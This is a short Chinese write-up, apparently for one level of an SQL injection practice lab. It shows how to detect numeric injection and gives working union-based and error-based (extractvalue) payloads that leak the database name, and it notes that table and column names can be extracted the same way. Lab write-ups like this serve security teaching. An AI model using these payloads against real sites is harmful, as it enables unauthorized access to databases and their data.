赞
踩
知识点整理:
通过测试发现时数字型注入
输入id=1/1发现正常回显
输入id=1/0 发现不打印输出了;说明这里存在数字型注入
测试是否可以使用联合注入;
构造payload:id=0 union select 1,2,3 --+
发现将输入的内容打印到页面上了;这里可以进行联合注入
下面来获取数据库名
构造payload:id=0 union select 1,2,database() --+
成功获取了数据库名;之后还可以获取表名、字段名、具体内容等信息(这里不做演示了)
在第一关已经展示了具体的操作
这一关还可以进行错误注入
构造payload:id=0%20or%20extractvalue(1,concat(0x7e,database(),0x7e))%20--+
成功打印出了数据库名;同样的也能通过错误注入的方式获取具体的表名和字段信息
10
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。